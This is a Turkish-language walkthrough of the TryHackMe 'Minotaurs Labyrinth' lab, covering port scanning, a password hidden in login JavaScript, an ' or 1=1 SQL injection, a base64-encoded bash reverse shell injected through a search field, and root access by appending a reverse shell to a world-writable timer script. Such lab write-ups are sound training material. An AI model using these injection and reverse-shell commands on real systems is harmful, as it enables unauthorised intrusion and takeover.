TryHackMe – Minotaurs Labyrinth Makine Çözümü

Table of Contents

Merhabalar, bu yazımda sizlere TryHackMe platformunda bulunan “Minotaurs Labyrinth” isimli makinenin çözümü anlatacağım. Keyifli Okumalar…

Çözüm

1 — Nmap aracını kullanarak makine üzerindeki açık portlar ve servisler hakkında detaylı bilgi ediniyorum.

[root:/home/alper/Desktop/TRYHACKME]# nmap -sS -sV 10.10.228.188
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-08 12:45 +03
Nmap scan report for 10.10.228.188
Host is up (0.14s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      ProFTPD
80/tcp   open  http     Apache httpd 2.4.48 ((Unix) OpenSSL/1.1.1k PHP/8.0.7 mod_perl/2.0.11 Perl/v5.32.1)
443/tcp  open  ssl/http Apache httpd 2.4.48 ((Unix) OpenSSL/1.1.1k PHP/8.0.7 mod_perl/2.0.11 Perl/v5.32.1)
3306/tcp open  mysql?

2 — Web sayfasının kaynağını incelemeye başladığımda “js/login.js” dosyasının içinde bazı kodlar görüyorum. “Daedalus” kullanıcısının parolasının aşağıdaki dizilerin belirtilen indislerindeki elemanlardan oluşabilceğini düşünüyorum. Python ile kodu yazdığım zaman parolayı elde ediyorum.

function pwdgen() {
    a = ["0", "h", "?", "1", "v", "4", "r", "l", "0", "g"]
    b = ["m", "w", "7", "j", "1", "e", "8", "l", "r", "a", "2"]
    c = ["c", "k", "h", "p", "q", "9", "w", "v", "5", "p", "4"]
}
//pwd gen for Daedalus a[9]+b[10]+b[5]+c[8]+c[8]+c[1]+a[1]+a[5]+c[0]+c[1]+c[8]+b[8]
# daedalus.py
 a = ["0", "h", "?", "1", "v", "4", "r", "l", "0", "g"]
 b = ["m", "w", "7", "j", "1", "e", "8", "l", "r", "a", "2"]
 c = ["c", "k", "h", "p", "q", "9", "w", "v", "5", "p", "4"]

 print(a[9]+b[10]+b[5]+c[8]+c[8]+c[1]+a[1]+a[5]+c[0]+c[1]+c[8]+b[8])
[root:/home/alper/Desktop/TRYHACKME]# python3 daedalus.py 
*CENSORED*

3 — Giriş yaptıktan sonra bir arama kutusu çıkıyor. Buraya insan/yaratık adı yazmamızı bekliyor. “ ‘or 1=1 — — “ yazarak bütün kullanıcıları listeliyorum. Karşıma kullanıcı adı ve parola hash bilgisi çıkıyor. Bu hashleri kaydedip, crackstation uygulamasında aratıyorum. “M!n0taur”
kullanıcısına ait parolayı buluyorum.

4 — Çıkış yapıp “M!n0taur” kullanıcısı ile giriş yapıyorum. Yukarıdaki menüde “Secret stuff” isminde bir bölüm görüyorum ve oraya gidiyorum. Daha sonra arama yerine base64 ile şifrelenmiş bash reverse shelli yazıp çözdürerek shell bağlantısı elde etmeye çalışıyorum.

[root:/home/alper/Desktop/TRYHACKME]# echo "bash -i >& /dev/tcp/10.8.94.51/4444 0>&1" | base64 -w0
# Arama kutusuna
BASE64_HASH | base64 -d | bash

5 — Bulunduğum dizindeki “dbConnect.php” dosyasını okuduğumda içinde mysql veritabanının parolası gözüküyor.

$ SHELL=/bin/bash script -q /dev/null
ls
bash: /root/.bashrc: Permission denied
ls
daemon@labyrinth:/opt/lampp/htdocs$ ls


lsapi        echo.php     index.php  login.html  logs    session.php
css        favicon.png  jebait.html  login.php   README.md
dbConnect.php  imgs     js   logout.php  session2.php
daemon@labyrinth:/opt/lampp/htdocs$ 
daemon@labyrinth:/opt/lampp/htdocs$cat dbConnect.php
cat dbConnect.php
<?php
 
 $servername = "localhost";
 $db = "labyrinth";
 $usr = "root";
 $pwd = "";
 //$pwd = "*CENSORED*"

6 — User kullanıcısının dizinin üçüncü bayrağı elde ediyorum.

daemon@labyrinth:/opt/lampp/htdocs$ cd /home
cd /home
daemon@labyrinth:/home$ ls
ls
anonftp  minotaur  user
daemon@labyrinth:/home$ cd user
cd user
daemon@labyrinth:/home/user$ ls
ls
flag.txt
daemon@labyrinth:/home/user$ cat flag.txt
cat flag.txt
*CENSORED*

7 — Dizinleri karıştırırken “/” dizinin altında “timers” isminde bir klasör görüyorum. İçine girdiğim zaman timer.sh adında bir script görüyorum. Bu scriptin içine bash reverse shell yerleştirip shell almayı bekliyorum.

daemon@labyrinth:/home/minotaur$ cd /
cd /
daemon@labyrinth:/$ ls
ls
bin    home        lost+found  reminders  srv usr
boot   initrd.img      media    root       swapfile var
cdrom  initrd.img.old  mnt    run       sys vmlinuz
dev    lib        opt    sbin       timers vmlinuz.old
etc    lib64        proc    snap       tmp
daemon@labyrinth:/$ cd timers
cd timers
daemon@labyrinth:/timers$ ls
ls
timer.sh
daemon@labyrinth:/timers$ cat timer.sh
cat timer.sh
#!/bin/bash
echo "dont fo...forge...ttt" >> /reminders/dontforget.txt
daemon@labyrinth:/timers$ ls -la timer.sh
ls -la timer.sh
-rwxrwxrwx 1 root root 70 jún   15  2021 timer.sh
daemon@labyrinth:/timers$ echo "bash -i >& /dev/tcp/10.8.94.51/4444 0>&1" >> timer.sh
<sh -i >& /dev/tcp/10.8.94.51/4444 0>&1" >> timer.sh

8 — Bağlantıyı kurduktan sonra root dizini altında dördüncü bayrağımı elde ediyorum.